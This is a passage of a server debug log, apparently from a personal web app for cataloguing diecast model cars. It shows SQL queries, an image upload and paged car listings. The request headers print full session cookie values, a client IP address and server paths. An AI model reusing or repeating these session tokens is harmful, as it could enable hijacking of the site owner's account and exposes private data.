    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=195&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:34:38.244Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:34:38.244Z server-connect:app Executing action step identify
2026-02-04T10:34:38.244Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:38.245Z server-connect:output identity: 1
2026-02-04T10:34:38.245Z server-connect:app Executing action step restrict
2026-02-04T10:34:38.245Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:38.245Z server-connect:output restrict: undefined
2026-02-04T10:34:38.245Z server-connect:app Executing action step condition
2026-02-04T10:34:38.245Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:34:38.245Z server-connect:app Executing action step update
2026-02-04T10:34:38.245Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:34:38.246Z server-connect:output update: { affected: 1 }
2026-02-04T10:34:38.246Z server-connect:app Executing action step upload
2026-02-04T10:34:38.246Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:34:38.246Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:34:38.246Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:34:38.246Z server-connect:upload Processing file: {
  name: 's-l1600 (4).webp',
  data: <Buffer >,
  size: 79714,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-44-20378841770201278243',
  truncated: false,
  mimetype: 'image/webp',
  md5: '9b175f1476bbcad6cb825966adc9a247',
  mv: [Function: mv]
}
2026-02-04T10:34:38.246Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_4_87604fa9-ce0a-4b81-8917-983746f0a9e4.webp',
  rel: 'public/assets/images/diecast/s-l1600_4_87604fa9-ce0a-4b81-8917-983746f0a9e4.webp'
}
2026-02-04T10:34:38.247Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_4_87604fa9-ce0a-4b81-8917-983746f0a9e4.webp',
  rel: 'assets/images/diecast/s-l1600_4_87604fa9-ce0a-4b81-8917-983746f0a9e4.webp'
}
2026-02-04T10:34:38.247Z server-connect:output upload_image: [
  {
    name: 's-l1600_4_87604fa9-ce0a-4b81-8917-983746f0a9e4.webp',
    path: '/public/assets/images/diecast/s-l1600_4_87604fa9-ce0a-4b81-8917-983746f0a9e4.webp',
    url: '/assets/images/diecast/s-l1600_4_87604fa9-ce0a-4b81-8917-983746f0a9e4.webp',
    type: 'image/webp',
    size: 79714
  }
]
2026-02-04T10:34:38.247Z server-connect:app Executing action step repeat
2026-02-04T10:34:38.247Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:34:38.247Z server-connect:app Executing action step insert
2026-02-04T10:34:38.247Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:34:38.247Z server-connect:output images: { affected: 1, identity: 195 }
2026-02-04T10:34:38.247Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:34:38.247Z server-connect:output condition: undefined
2026-02-04T10:34:38.477Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:34:38.478Z server-connect:app Executing action step identify
2026-02-04T10:34:38.478Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:38.478Z server-connect:output identity: 1
2026-02-04T10:34:38.478Z server-connect:app Executing action step restrict
2026-02-04T10:34:38.478Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:38.478Z server-connect:output restrict: undefined
2026-02-04T10:34:38.479Z server-connect:app Executing action step paged
2026-02-04T10:34:38.479Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:34:38.482Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:34:40.634Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:34:40.634Z server-connect:app Executing action step identify
2026-02-04T10:34:40.634Z server-connect:app options: { provider: 'security' }
2026-02-04T10:34:40.635Z server-connect:output identity: 1
2026-02-04T10:34:40.635Z server-connect:app Executing action step restrict
2026-02-04T10:34:40.635Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:34:40.635Z server-connect:output restrict: undefined
2026-02-04T10:34:40.635Z server-connect:app Executing action step paged
2026-02-04T10:34:40.635Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:34:40.637Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:40:43.176Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:40:43.177Z server-connect:app Executing action step identify
2026-02-04T10:40:43.177Z server-connect:app options: { provider: 'security' }
2026-02-04T10:40:43.177Z server-connect:output identity: 1
2026-02-04T10:40:43.177Z server-connect:app Executing action step restrict
2026-02-04T10:40:43.177Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:40:43.178Z server-connect:output restrict: undefined
2026-02-04T10:40:43.178Z server-connect:app Executing action step paged
2026-02-04T10:40:43.178Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:40:43.182Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
